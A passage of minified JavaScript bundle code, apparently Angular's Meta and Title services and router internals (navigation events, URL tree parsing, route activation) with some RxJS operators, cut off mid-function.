n?this._setMetaElementAttributes(t,n):this._getOrCreateElement(t,!0)}},{key:"removeTag",value:function(t){this.removeTagElement(this.getTag(t))}},{key:"removeTagElement",value:function(t){t&&this._dom.remove(t)}},{key:"_getOrCreateElement",value:function(t){var e=this,n=arguments.length>1&&void 0!==arguments[1]&&arguments[1];if(!n){var i=this._parseSelector(t),r=this.getTags(i).filter(function(n){return e._containsAttributes(t,n)})[0];if(void 0!==r)return r}var o=this._dom.createElement("meta");return this._setMetaElementAttributes(t,o),this._doc.getElementsByTagName("head")[0].appendChild(o),o}},{key:"_setMetaElementAttributes",value:function(t,e){var n=this;return Object.keys(t).forEach(function(i){return e.setAttribute(n._getMetaKeyMap(i),t[i])}),e}},{key:"_parseSelector",value:function(t){var e=t.name?"name":"property";return"".concat(e,'="').concat(t[e],'"')}},{key:"_containsAttributes",value:function(t,e){var n=this;return Object.keys(t).every(function(i){return e.getAttribute(n._getMetaKeyMap(i))===t[i]})}},{key:"_getMetaKeyMap",value:function(t){return z[t]||t}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(o.K0))},t.\u0275prov=(0,a.Yz7)({factory:Y,token:t,providedIn:"root"}),t}(),z={httpEquiv:"http-equiv"};function Z(){return new W((0,a.LFG)(o.K0))}var W=function(){var t=function(){function t(e){_(this,t),this._doc=e}return y(t,[{key:"getTitle",value:function(){return this._doc.title}},{key:"setTitle",value:function(t){this._doc.title=t||""}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(o.K0))},t.\u0275prov=(0,a.Yz7)({factory:Z,token:t,providedIn:"root"}),t}();"undefined"!=typeof window&&window},47532:function(e,n,o){"use strict";o.d(n,{gz:function(){return se},m2:function(){return et},OD:function(){return tt},F0:function(){return On},sj:function(){return $},yS:function(){return Pn},Bz:function(){return Yn},lC:function(){return Dn},R9:function(){return rt}});var a=o(54364),s=o(2316),u=function(){function t(){return Error.call(this),this.message="no elements in sequence",this.name="EmptyError",this}return t.prototype=Object.create(Error.prototype),t}(),c=o(30400),h=o(81134),d=o(76491),v=o(79097),m=o(89544),g=o(83972),b=o(58640),k=o(8117),w=o(92494),C=o(79441),x=o(71003);function S(t,e){var n=!1;return arguments.length>=2&&(n=!0),function(i){return i.lift(new E(t,e,n))}}var E=function(){function t(e,n){var i=arguments.length>2&&void 0!==arguments[2]&&arguments[2];_(this,t),this.accumulator=e,this.seed=n,this.hasSeed=i}return y(t,[{key:"call",value:function(t,e){return e.subscribe(new A(t,this.accumulator,this.seed,this.hasSeed))}}]),t}(),A=function(t){l(n,t);var e=f(n);function n(t,i,r,o){var a;return _(this,n),(a=e.call(this,t)).accumulator=i,a._seed=r,a.hasSeed=o,a.index=0,a}return y(n,[{key:"seed",get:function(){return this._seed},set:function(t){this.hasSeed=!0,this._seed=t}},{key:"_next",value:function(t){if(this.hasSeed)return this._tryNext(t);this.seed=t,this.destination.next(t)}},{key:"_tryNext",value:function(t){var e,n=this.index++;try{e=this.accumulator(this.seed,t,n)}catch(i){this.destination.error(i)}this.seed=e,this.destination.next(e)}}]),n}(x.L),T=o(9170),I=o(84873);function O(t){return function(e){return 0===t?(0,k.c)():e.lift(new R(t))}}var R=function(){function t(e){if(_(this,t),this.total=e,this.total<0)throw new I.W}return y(t,[{key:"call",value:function(t,e){return e.subscribe(new P(t,this.total))}}]),t}(),P=function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this,t)).total=i,r.ring=new Array,r.count=0,r}return y(n,[{key:"_next",value:function(t){var e=this.ring,n=this.total,i=this.count++;e.length<n?e.push(t):e[i%n]=t}},{key:"_complete",value:function(){var t=this.destination,e=this.count;if(e>0)for(var n=this.count>=this.total?this.total:this.count,i=this.ring,r=0;r<n;r++){var o=e++%n;t.next(i[o])}t.complete()}}]),n}(x.L);function N(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:M;return function(e){return e.lift(new D(t))}}var D=function(){function t(e){_(this,t),this.errorFactory=e}return y(t,[{key:"call",value:function(t,e){return e.subscribe(new L(t,this.errorFactory))}}]),t}(),L=function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this,t)).errorFactory=i,r.hasValue=!1,r}return y(n,[{key:"_next",value:function(t){this.hasValue=!0,this.destination.next(t)}},{key:"_complete",value:function(){if(this.hasValue)return this.destination.complete();var t;try{t=this.errorFactory()}catch(e){t=e}this.destination.error(t)}}]),n}(x.L);function M(){return new u}function F(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null;return function(e){return e.lift(new U(t))}}var U=function(){function t(e){_(this,t),this.defaultValue=e}return y(t,[{key:"call",value:function(t,e){return e.subscribe(new B(t,this.defaultValue))}}]),t}(),B=function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this,t)).defaultValue=i,r.isEmpty=!0,r}return y(n,[{key:"_next",value:function(t){this.isEmpty=!1,this.destination.next(t)}},{key:"_complete",value:function(){this.isEmpty&&this.destination.next(this.defaultValue),this.destination.complete()}}]),n}(x.L),j=o(87206),H=o(53466);function V(t,e){var n=arguments.length>=2;return function(i){return i.pipe(t?(0,T.h)(function(e,n){return t(e,n,i)}):j.y,(0,H.q)(1),n?F(e):N(function(){return new u}))}}var G=o(33927),Y=o(79902),q=o(1143),z=o(18293),Z=o(56816),W=o(85816),J=o(14921),Q=o(97085),K=o(71435),X=o(96324),$=function t(e,n){_(this,t),this.id=e,this.url=n},tt=function(t){l(n,t);var e=f(n);function n(t,i){var r,o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"imperative",a=arguments.length>3&&void 0!==arguments[3]?arguments[3]:null;return _(this,n),(r=e.call(this,t,i)).navigationTrigger=o,r.restoredState=a,r}return y(n,[{key:"toString",value:function(){return"NavigationStart(id: ".concat(this.id,", url: '").concat(this.url,"')")}}]),n}($),et=function(t){l(n,t);var e=f(n);function n(t,i,r){var o;return _(this,n),(o=e.call(this,t,i)).urlAfterRedirects=r,o}return y(n,[{key:"toString",value:function(){return"NavigationEnd(id: ".concat(this.id,", url: '").concat(this.url,"', urlAfterRedirects: '").concat(this.urlAfterRedirects,"')")}}]),n}($),nt=function(t){l(n,t);var e=f(n);function n(t,i,r){var o;return _(this,n),(o=e.call(this,t,i)).reason=r,o}return y(n,[{key:"toString",value:function(){return"NavigationCancel(id: ".concat(this.id,", url: '").concat(this.url,"')")}}]),n}($),it=function(t){l(n,t);var e=f(n);function n(t,i,r){var o;return _(this,n),(o=e.call(this,t,i)).error=r,o}return y(n,[{key:"toString",value:function(){return"NavigationError(id: ".concat(this.id,", url: '").concat(this.url,"', error: ").concat(this.error,")")}}]),n}($),rt=function(t){l(n,t);var e=f(n);function n(t,i,r,o){var a;return _(this,n),(a=e.call(this,t,i)).urlAfterRedirects=r,a.state=o,a}return y(n,[{key:"toString",value:function(){return"RoutesRecognized(id: ".concat(this.id,", url: '").concat(this.url,"', urlAfterRedirects: '").concat(this.urlAfterRedirects,"', state: ").concat(this.state,")")}}]),n}($),ot=function(t){l(n,t);var e=f(n);function n(t,i,r,o){var a;return _(this,n),(a=e.call(this,t,i)).urlAfterRedirects=r,a.state=o,a}return y(n,[{key:"toString",value:function(){return"GuardsCheckStart(id: ".concat(this.id,", url: '").concat(this.url,"', urlAfterRedirects: '").concat(this.urlAfterRedirects,"', state: ").concat(this.state,")")}}]),n}($),at=function(t){l(n,t);var e=f(n);function n(t,i,r,o,a){var s;return _(this,n),(s=e.call(this,t,i)).urlAfterRedirects=r,s.state=o,s.shouldActivate=a,s}return y(n,[{key:"toString",value:function(){return"GuardsCheckEnd(id: ".concat(this.id,", url: '").concat(this.url,"', urlAfterRedirects: '").concat(this.urlAfterRedirects,"', state: ").concat(this.state,", shouldActivate: ").concat(this.shouldActivate,")")}}]),n}($),st=function(t){l(n,t);var e=f(n);function n(t,i,r,o){var a;return _(this,n),(a=e.call(this,t,i)).urlAfterRedirects=r,a.state=o,a}return y(n,[{key:"toString",value:function(){return"ResolveStart(id: ".concat(this.id,", url: '").concat(this.url,"', urlAfterRedirects: '").concat(this.urlAfterRedirects,"', state: ").concat(this.state,")")}}]),n}($),ut=function(t){l(n,t);var e=f(n);function n(t,i,r,o){var a;return _(this,n),(a=e.call(this,t,i)).urlAfterRedirects=r,a.state=o,a}return y(n,[{key:"toString",value:function(){return"ResolveEnd(id: ".concat(this.id,", url: '").concat(this.url,"', urlAfterRedirects: '").concat(this.urlAfterRedirects,"', state: ").concat(this.state,")")}}]),n}($),ct=function(){function t(e){_(this,t),this.route=e}return y(t,[{key:"toString",value:function(){return"RouteConfigLoadStart(path: ".concat(this.route.path,")")}}]),t}(),lt=function(){function t(e){_(this,t),this.route=e}return y(t,[{key:"toString",value:function(){return"RouteConfigLoadEnd(path: ".concat(this.route.path,")")}}]),t}(),ht=function(){function t(e){_(this,t),this.snapshot=e}return y(t,[{key:"toString",value:function(){return"ChildActivationStart(path: '".concat(this.snapshot.routeConfig&&this.snapshot.routeConfig.path||"","')")}}]),t}(),ft=function(){function t(e){_(this,t),this.snapshot=e}return y(t,[{key:"toString",value:function(){return"ChildActivationEnd(path: '".concat(this.snapshot.routeConfig&&this.snapshot.routeConfig.path||"","')")}}]),t}(),dt=function(){function t(e){_(this,t),this.snapshot=e}return y(t,[{key:"toString",value:function(){return"ActivationStart(path: '".concat(this.snapshot.routeConfig&&this.snapshot.routeConfig.path||"","')")}}]),t}(),pt=function(){function t(e){_(this,t),this.snapshot=e}return y(t,[{key:"toString",value:function(){return"ActivationEnd(path: '".concat(this.snapshot.routeConfig&&this.snapshot.routeConfig.path||"","')")}}]),t}(),vt=function(){function t(e,n,i){_(this,t),this.routerEvent=e,this.position=n,this.anchor=i}return y(t,[{key:"toString",value:function(){return"Scroll(anchor: '".concat(this.anchor,"', position: '").concat(this.position?"".concat(this.position[0],", ").concat(this.position[1]):null,"')")}}]),t}(),mt="primary",gt=function(){function t(e){_(this,t),this.params=e||{}}return y(t,[{key:"has",value:function(t){return Object.prototype.hasOwnProperty.call(this.params,t)}},{key:"get",value:function(t){if(this.has(t)){var e=this.params[t];return Array.isArray(e)?e[0]:e}return null}},{key:"getAll",value:function(t){if(this.has(t)){var e=this.params[t];return Array.isArray(e)?e:[e]}return[]}},{key:"keys",get:function(){return Object.keys(this.params)}}]),t}();function yt(t){return new gt(t)}var _t="ngNavigationCancelingError";function bt(t){var e=Error("NavigationCancelingError: "+t);return e[_t]=!0,e}function kt(t,e,n){var i=n.path.split("/");if(i.length>t.length||"full"===n.pathMatch&&(e.hasChildren()||i.length<t.length))return null;for(var r={},o=0;o<i.length;o++){var a=i[o],s=t[o];if(a.startsWith(":"))r[a.substring(1)]=s;else if(a!==s.path)return null}return{consumed:t.slice(0,i.length),posParams:r}}function wt(t,e){var n,i=t?Object.keys(t):void 0,r=e?Object.keys(e):void 0;if(!i||!r||i.length!=r.length)return!1;for(var o=0;o<i.length;o++)if(!Ct(t[n=i[o]],e[n]))return!1;return!0}function Ct(t,e){if(Array.isArray(t)&&Array.isArray(e)){if(t.length!==e.length)return!1;var n=i(t).sort(),r=i(e).sort();return n.every(function(t,e){return r[e]===t})}return t===e}function xt(t){return Array.prototype.concat.apply([],t)}function St(t){return t.length>0?t[t.length-1]:null}function Et(t,e){for(var n in t)t.hasOwnProperty(n)&&e(t[n],n)}function At(t){return(0,s.CqO)(t)?t:(0,s.QGY)(t)?(0,c.D)(Promise.resolve(t)):(0,h.of)(t)}var Tt={exact:function t(e,n,i){if(!Ft(e.segments,n.segments)||!Nt(e.segments,n.segments,i)||e.numberOfChildren!==n.numberOfChildren)return!1;for(var r in n.children)if(!e.children[r]||!t(e.children[r],n.children[r],i))return!1;return!0},subset:Rt},It={exact:function(t,e){return wt(t,e)},subset:function(t,e){return Object.keys(e).length<=Object.keys(t).length&&Object.keys(e).every(function(n){return Ct(t[n],e[n])})},ignored:function(){return!0}};function Ot(t,e,n){return Tt[n.paths](t.root,e.root,n.matrixParams)&&It[n.queryParams](t.queryParams,e.queryParams)&&!("exact"===n.fragment&&t.fragment!==e.fragment)}function Rt(t,e,n){return Pt(t,e,e.segments,n)}function Pt(t,e,n,i){if(t.segments.length>n.length){var r=t.segments.slice(0,n.length);return!(!Ft(r,n)||e.hasChildren()||!Nt(r,n,i))}if(t.segments.length===n.length){if(!Ft(t.segments,n)||!Nt(t.segments,n,i))return!1;for(var o in e.children)if(!t.children[o]||!Rt(t.children[o],e.children[o],i))return!1;return!0}var a=n.slice(0,t.segments.length),s=n.slice(t.segments.length);return!!(Ft(t.segments,a)&&Nt(t.segments,a,i)&&t.children[mt])&&Pt(t.children[mt],e,s,i)}function Nt(t,e,n){return e.every(function(e,i){return It[n](t[i].parameters,e.parameters)})}var Dt=function(){function t(e,n,i){_(this,t),this.root=e,this.queryParams=n,this.fragment=i}return y(t,[{key:"queryParamMap",get:function(){return this._queryParamMap||(this._queryParamMap=yt(this.queryParams)),this._queryParamMap}},{key:"toString",value:function(){return jt.serialize(this)}}]),t}(),Lt=function(){function t(e,n){var i=this;_(this,t),this.segments=e,this.children=n,this.parent=null,Et(n,function(t,e){return t.parent=i})}return y(t,[{key:"hasChildren",value:function(){return this.numberOfChildren>0}},{key:"numberOfChildren",get:function(){return Object.keys(this.children).length}},{key:"toString",value:function(){return Ht(this)}}]),t}(),Mt=function(){function t(e,n){_(this,t),this.path=e,this.parameters=n}return y(t,[{key:"parameterMap",get:function(){return this._parameterMap||(this._parameterMap=yt(this.parameters)),this._parameterMap}},{key:"toString",value:function(){return Wt(this)}}]),t}();function Ft(t,e){return t.length===e.length&&t.every(function(t,n){return t.path===e[n].path})}var Ut=function t(){_(this,t)},Bt=function(){function t(){_(this,t)}return y(t,[{key:"parse",value:function(t){var e=new $t(t);return new Dt(e.parseRootSegment(),e.parseQueryParams(),e.parseFragment())}},{key:"serialize",value:function(t){var e;return"".concat("/".concat(Vt(t.root,!0)),function(t){var e=Object.keys(t).map(function(e){var n=t[e];return Array.isArray(n)?n.map(function(t){return"".concat(Yt(e),"=").concat(Yt(t))}).join("&"):"".concat(Yt(e),"=").concat(Yt(n))}).filter(function(t){return!!t});return e.length?"?".concat(e.join("&")):""}(t.queryParams)).concat("string"==typeof t.fragment?"#".concat((e=t.fragment,encodeURI(e))):"")}}]),t}(),jt=new Bt;function Ht(t){return t.segments.map(function(t){return Wt(t)}).join("/")}function Vt(t,e){if(!t.hasChildren())return Ht(t);if(e){var n=t.children[mt]?Vt(t.children[mt],!1):"",i=[];return Et(t.children,function(t,e){e!==mt&&i.push("".concat(e,":").concat(Vt(t,!1)))}),i.length>0?"".concat(n,"(").concat(i.join("//"),")"):n}var r=function(t,e){var n=[];return Et(t.children,function(t,i){i===mt&&(n=n.concat(e(t,i)))}),Et(t.children,function(t,i){i!==mt&&(n=n.concat(e(t,i)))}),n}(t,function(e,n){return n===mt?[Vt(t.children[mt],!1)]:["".concat(n,":").concat(Vt(e,!1))]});return 1===Object.keys(t.children).length&&null!=t.children[mt]?"".concat(Ht(t),"/").concat(r[0]):"".concat(Ht(t),"/(").concat(r.join("//"),")")}function Gt(t){return encodeURIComponent(t).replace(/%40/g,"@").replace(/%3A/gi,":").replace(/%24/g,"$").replace(/%2C/gi,",")}function Yt(t){return Gt(t).replace(/%3B/gi,";")}function qt(t){return Gt(t).replace(/\(/g,"%28").replace(/\)/g,"%29").replace(/%26/gi,"&")}function zt(t){return decodeURIComponent(t)}function Zt(t){return zt(t.replace(/\+/g,"%20"))}function Wt(t){return"".concat(qt(t.path)).concat(function(t){return Object.keys(t).map(function(e){return";".concat(qt(e),"=").concat(qt(t[e]))}).join("")}(t.parameters))}var Jt=/^[^\/()?;=#]+/;function Qt(t){var e=t.match(Jt);return e?e[0]:""}var Kt=/^[^=?&#]+/,Xt=/^[^?&#]+/,$t=function(){function t(e){_(this,t),this.url=e,this.remaining=e}return y(t,[{key:"parseRootSegment",value:function(){return this.consumeOptional("/"),""===this.remaining||this.peekStartsWith("?")||this.peekStartsWith("#")?new Lt([],{}):new Lt([],this.parseChildren())}},{key:"parseQueryParams",value:function(){var t={};if(this.consumeOptional("?"))do{this.parseQueryParam(t)}while(this.consumeOptional("&"));return t}},{key:"parseFragment",value:function(){return this.consumeOptional("#")?decodeURIComponent(this.remaining):null}},{key:"parseChildren",value:function(){if(""===this.remaining)return{};this.consumeOptional("/");var t=[];for(this.peekStartsWith("(")||t.push(this.parseSegment());this.peekStartsWith("/")&&!this.peekStartsWith("//")&&!this.peekStartsWith("/(");)this.capture("/"),t.push(this.parseSegment());var e={};this.peekStartsWith("/(")&&(this.capture("/"),e=this.parseParens(!0));var n={};return this.peekStartsWith("(")&&(n=this.parseParens(!1)),(t.length>0||Object.keys(e).length>0)&&(n[mt]=new Lt(t,e)),n}},{key:"parseSegment",value:function(){var t=Qt(this.remaining);if(""===t&&this.peekStartsWith(";"))throw new Error("Empty path url segment cannot have parameters: '".concat(this.remaining,"'."));return this.capture(t),new Mt(zt(t),this.parseMatrixParams())}},{key:"parseMatrixParams",value:function(){for(var t={};this.consumeOptional(";");)this.parseParam(t);return t}},{key:"parseParam",value:function(t){var e=Qt(this.remaining);if(e){this.capture(e);var n="";if(this.consumeOptional("=")){var i=Qt(this.remaining);i&&(n=i,this.capture(n))}t[zt(e)]=zt(n)}}},{key:"parseQueryParam",value:function(t){var e=function(t){var e=t.match(Kt);return e?e[0]:""}(this.remaining);if(e){this.capture(e);var n="";if(this.consumeOptional("=")){var i=function(t){var e=t.match(Xt);return e?e[0]:""}(this.remaining);i&&(n=i,this.capture(n))}var r=Zt(e),o=Zt(n);if(t.hasOwnProperty(r)){var a=t[r];Array.isArray(a)||(a=[a],t[r]=a),a.push(o)}else t[r]=o}}},{key:"parseParens",value:function(t){var e={};for(this.capture("(");!this.consumeOptional(")")&&this.remaining.length>0;){var n=Qt(this.remaining),i=this.remaining[n.length];if("/"!==i&&")"!==i&&";"!==i)throw new Error("Cannot parse url '".concat(this.url,"'"));var r=void 0;n.indexOf(":")>-1?(r=n.substr(0,n.indexOf(":")),this.capture(r),this.capture(":")):t&&(r=mt);var o=this.parseChildren();e[r]=1===Object.keys(o).length?o[mt]:new Lt([],o),this.consumeOptional("//")}return e}},{key:"peekStartsWith",value:function(t){return this.remaining.startsWith(t)}},{key:"consumeOptional",value:function(t){return!!this.peekStartsWith(t)&&(this.remaining=this.remaining.substring(t.length),!0)}},{key:"capture",value:function(t){if(!this.consumeOptional(t))throw new Error('Expected "'.concat(t,'".'))}}]),t}(),te=function(){function t(e){_(this,t),this._root=e}return y(t,[{key:"root",get:function(){return this._root.value}},{key:"parent",value:function(t){var e=this.pathFromRoot(t);return e.length>1?e[e.length-2]:null}},{key:"children",value:function(t){var e=ee(t,this._root);return e?e.children.map(function(t){return t.value}):[]}},{key:"firstChild",value:function(t){var e=ee(t,this._root);return e&&e.children.length>0?e.children[0].value:null}},{key:"siblings",value:function(t){var e=ne(t,this._root);return e.length<2?[]:e[e.length-2].children.map(function(t){return t.value}).filter(function(e){return e!==t})}},{key:"pathFromRoot",value:function(t){return ne(t,this._root).map(function(t){return t.value})}}]),t}();function ee(t,e){if(t===e.value)return e;var n,i=r(e.children);try{for(i.s();!(n=i.n()).done;){var o=ee(t,n.value);if(o)return o}}catch(a){i.e(a)}finally{i.f()}return null}function ne(t,e){if(t===e.value)return[e];var n,i=r(e.children);try{for(i.s();!(n=i.n()).done;){var o=ne(t,n.value);if(o.length)return o.unshift(e),o}}catch(a){i.e(a)}finally{i.f()}return[]}var ie=function(){function t(e,n){_(this,t),this.value=e,this.children=n}return y(t,[{key:"toString",value:function(){return"TreeNode(".concat(this.value,")")}}]),t}();function re(t){var e={};return t&&t.children.forEach(function(t){return e[t.value.outlet]=t}),e}var oe=function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this,t)).snapshot=i,he(p(r),t),r}return y(n,[{key:"toString",value:function(){return this.snapshot.toString()}}]),n}(te);function ae(t,e){var n=function(t,e){var n=new ce([],{},{},"",{},mt,e,null,t.root,-1,{});return new le("",new ie(n,[]))}(t,e),i=new d.X([new Mt("",{})]),r=new d.X({}),o=new d.X({}),a=new d.X({}),s=new d.X(""),u=new se(i,r,a,s,o,mt,e,n.root);return u.snapshot=n.root,new oe(new ie(u,[]),n)}var se=function(){function t(e,n,i,r,o,a,s,u){_(this,t),this.url=e,this.params=n,this.queryParams=i,this.fragment=r,this.data=o,this.outlet=a,this.component=s,this._futureSnapshot=u}return y(t,[{key:"routeConfig",get:function(){return this._futureSnapshot.routeConfig}},{key:"root",get:function(){return this._routerState.root}},{key:"parent",get:function(){return this._routerState.parent(this)}},{key:"firstChild",get:function(){return this._routerState.firstChild(this)}},{key:"children",get:function(){return this._routerState.children(this)}},{key:"pathFromRoot",get:function(){return this._routerState.pathFromRoot(this)}},{key:"paramMap",get:function(){return this._paramMap||(this._paramMap=this.params.pipe((0,G.U)(function(t){return yt(t)}))),this._paramMap}},{key:"queryParamMap",get:function(){return this._queryParamMap||(this._queryParamMap=this.queryParams.pipe((0,G.U)(function(t){return yt(t)}))),this._queryParamMap}},{key:"toString",value:function(){return this.snapshot?this.snapshot.toString():"Future(".concat(this._futureSnapshot,")")}}]),t}();function ue(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"emptyOnly",n=t.pathFromRoot,i=0;if("always"!==e)for(i=n.length-1;i>=1;){var r=n[i],o=n[i-1];if(r.routeConfig&&""===r.routeConfig.path)i--;else{if(o.component)break;i--}}return function(t){return t.reduce(function(t,e){return{params:Object.assign(Object.assign({},t.params),e.params),data:Object.assign(Object.assign({},t.data),e.data),resolve:Object.assign(Object.assign({},t.resolve),e._resolvedData)}},{params:{},data:{},resolve:{}})}(n.slice(i))}var ce=function(){function t(e,n,i,r,o,a,s,u,c,l,h){_(this,t),this.url=e,this.params=n,this.queryParams=i,this.fragment=r,this.data=o,this.outlet=a,this.component=s,this.routeConfig=u,this._urlSegment=c,this._lastPathIndex=l,this._resolve=h}return y(t,[{key:"root",get:function(){return this._routerState.root}},{key:"parent",get:function(){return this._routerState.parent(this)}},{key:"firstChild",get:function(){return this._routerState.firstChild(this)}},{key:"children",get:function(){return this._routerState.children(this)}},{key:"pathFromRoot",get:function(){return this._routerState.pathFromRoot(this)}},{key:"paramMap",get:function(){return this._paramMap||(this._paramMap=yt(this.params)),this._paramMap}},{key:"queryParamMap",get:function(){return this._queryParamMap||(this._queryParamMap=yt(this.queryParams)),this._queryParamMap}},{key:"toString",value:function(){return"Route(url:'".concat(this.url.map(function(t){return t.toString()}).join("/"),"', path:'").concat(this.routeConfig?this.routeConfig.path:"","')")}}]),t}(),le=function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this,i)).url=t,he(p(r),i),r}return y(n,[{key:"toString",value:function(){return fe(this._root)}}]),n}(te);function he(t,e){e.value._routerState=t,e.children.forEach(function(e){return he(t,e)})}function fe(t){var e=t.children.length>0?" { ".concat(t.children.map(fe).join(", ")," } "):"";return"".concat(t.value).concat(e)}function de(t){if(t.snapshot){var e=t.snapshot,n=t._futureSnapshot;t.snapshot=n,wt(e.queryParams,n.queryParams)||t.queryParams.next(n.queryParams),e.fragment!==n.fragment&&t.fragment.next(n.fragment),wt(e.params,n.params)||t.params.next(n.params),function(t,e){if(t.length!==e.length)return!1;for(var n=0;n<t.length;++n)if(!wt(t[n],e[n]))return!1;return!0}(e.url,n.url)||t.url.next(n.url),wt(e.data,n.data)||t.data.next(n.data)}else t.snapshot=t._futureSnapshot,t.data.next(t._futureSnapshot.data)}function pe(t,e){return wt(t.params,e.params)&&function(t,e){return Ft(t,e)&&t.every(function(t,n){return wt(t.parameters,e[n].parameters)})}(t.url,e.url)&&!(!t.parent!=!e.parent)&&(!t.parent||pe(t.parent,e.parent))}function ve(t,e,n){if(n&&t.shouldReuseRoute(e.value,n.value.snapshot)){var i=n.value;i._futureSnapshot=e.value;var o=function(t,e,n){return e.children.map(function(e){var i,o=r(n.children);try{for(o.s();!(i=o.n()).done;){var a=i.value;if(t.shouldReuseRoute(e.value,a.value.snapshot))return ve(t,e,a)}}catch(s){o.e(s)}finally{o.f()}return ve(t,e)})}(t,e,n);return new ie(i,o)}if(t.shouldAttach(e.value)){var a=t.retrieve(e.value);if(null!==a){var s=a.route;return me(e,s),s}}var u=function(t){return new se(new d.X(t.url),new d.X(t.params),new d.X(t.queryParams),new d.X(t.fragment),new d.X(t.data),t.outlet,t.component,t)}(e.value),c=e.children.map(function(e){return ve(t,e)});return new ie(u,c)}function me(t,e){if(t.value.routeConfig!==e.value.routeConfig)throw new Error("Cannot reattach ActivatedRouteSnapshot created from a different route");if(t.children.length!==e.children.length)throw new Error("Cannot reattach ActivatedRouteSnapshot with a different number of children");e.value._futureSnapshot=t.value;for(var n=0;n<t.children.length;++n)me(t.children[n],e.children[n])}function ge(t){return"object"==typeof t&&null!=t&&!t.outlets&&!t.segmentPath}function ye(t){return"object"==typeof t&&null!=t&&t.outlets}function _e(t,e,n,i,r){var o={};return i&&Et(i,function(t,e){o[e]=Array.isArray(t)?t.map(function(t){return"".concat(t)}):"".concat(t)}),new Dt(n.root===t?e:be(n.root,t,e),o,r)}function be(t,e,n){var i={};return Et(t.children,function(t,r){i[r]=t===e?n:be(t,e,n)}),new Lt(t.segments,i)}var ke=function(){function t(e,n,i){if(_(this,t),this.isAbsolute=e,this.numberOfDoubleDots=n,this.commands=i,e&&i.length>0&&ge(i[0]))throw new Error("Root segment cannot have matrix parameters");var r=i.find(ye);if(r&&r!==St(i))throw new Error("{outlets:{}} has to be the last command")}return y(t,[{key:"toRoot",value:function(){return this.isAbsolute&&1===this.commands.length&&"/"==this.commands[0]}}]),t}(),we=function t(e,n,i){_(this,t),this.segmentGroup=e,this.processChildren=n,this.index=i};function Ce(t,e,n){if(t||(t=new Lt([],{})),0===t.segments.length&&t.hasChildren())return xe(t,e,n);var i=function(t,e,n){for(var i=0,r=e,o={match:!1,pathIndex:0,commandIndex:0};r<t.segments.length;){if(i>=n.length)return o;var a=t.segments[r],s=n[i];if(ye(s))break;var u="".concat(s),c=i<n.length-1?n[i+1]:null;if(r>0&&void 0===u)break;if(u&&c&&"object"==typeof c&&void 0===c.outlets){if(!Te(u,c,a))return o;i+=2}else{if(!Te(u,{},a))return o;i++}r++}return{match:!0,pathIndex:r,commandIndex:i}}(t,e,n),r=n.slice(i.commandIndex);if(i.match&&i.pathIndex<t.segments.length){var o=new Lt(t.segments.slice(0,i.pathIndex),{});return o.children[mt]=new Lt(t.segments.slice(i.pathIndex),t.children),xe(o,0,r)}return i.match&&0===r.length?new Lt(t.segments,{}):i.match&&!t.hasChildren()?Se(t,e,n):i.match?xe(t,0,r):Se(t,e,n)}function xe(e,n,i){if(0===i.length)return new Lt(e.segments,{});var r=function(e){return ye(e[0])?e[0].outlets:t({},mt,e)}(i),o={};return Et(r,function(t,i){"string"==typeof t&&(t=[t]),null!==t&&(o[i]=Ce(e.children[i],n,t))}),Et(e.children,function(t,e){void 0===r[e]&&(o[e]=t)}),new Lt(e.segments,o)}function Se(t,e,n){for(var i=t.segments.slice(0,e),r=0;r<n.length;){var o=n[r];if(ye(o)){var a=Ee(o.outlets);return new Lt(i,a)}if(0===r&&ge(n[0]))i.push(new Mt(t.segments[e].path,Ae(n[0]))),r++;else{var s=ye(o)?o.outlets[mt]:"".concat(o),u=r<n.length-1?n[r+1]:null;s&&u&&ge(u)?(i.push(new Mt(s,Ae(u))),r+=2):(i.push(new Mt(s,{})),r++)}}return new Lt(i,{})}function Ee(t){var e={};return Et(t,function(t,n){"string"==typeof t&&(t=[t]),null!==t&&(e[n]=Se(new Lt([],{}),0,t))}),e}function Ae(t){var e={};return Et(t,function(t,n){return e[n]="".concat(t)}),e}function Te(t,e,n){return t==n.path&&wt(e,n.parameters)}var Ie=function(){function t(e,n,i,r){_(this,t),this.routeReuseStrategy=e,this.futureState=n,this.currState=i,this.forwardEvent=r}return y(t,[{key:"activate",value:function(t){var e=this.futureState._root,n=this.currState?this.currState._root:null;this.deactivateChildRoutes(e,n,t),de(this.futureState.root),this.activateChildRoutes(e,n,t)}},{key:"deactivateChildRoutes",value:function(t,e,n){var i=this,r=re(e);t.children.forEach(function(t){var e=t.value.outlet;i.deactivateRoutes(t,r[e],n),delete r[e]}),Et(r,function(t,e){i.deactivateRouteAndItsChildren(t,n)})}},{key:"deactivateRoutes",value:function(t,e,n){var i=t.value,r=e?e.value:null;if(i===r)if(i.component){var o=n.getContext(i.outlet);o&&this.deactivateChildRoutes(t,e,o.children)}else this.deactivateChildRoutes(t,e,n);else r&&this.deactivateRouteAndItsChildren(e,n)}},{key:"deactivateRouteAndItsChildren",value:function(t,e){this.routeReuseStrategy.shouldDetach(t.value.snapshot)?this.detachAndStoreRouteSubtree(t,e):this.deactivateRouteAndOutlet(t,e)}},{key:"detachAndStoreRouteSubtree",value:function(t,e){var n=e.getContext(t.value.outlet);if(n&&n.outlet){var i=n.outlet.detach(),r=n.children.onOutletDeactivated();this.routeReuseStrategy.store(t.value.snapshot,{componentRef:i,route:t,contexts:r})}}},{key:"deactivateRouteAndOutlet",value:function(t,e){for(var n=e.getContext(t.value.outlet),i=n&&t.value.component?n.children:e,r=re(t),o=0,a=Object.keys(r);o<a.length;o++){var s=a[o];this.deactivateRouteAndItsChildren(r[s],i)}n&&n.outlet&&(n.outlet.deactivate(),n.children.onOutletDeactivated(),n.attachRef=null,n.resolver=null,n.route=null)}},{key:"activateChildRoutes",value:function(t,e,n){var i=this,r=re(e);t.children.forEach(function(t){i.activateRoutes(t,r[t.value.outlet],n),i.forwardEvent(new pt(t.value.snapshot))}),t.children.length&&this.forwardEvent(new 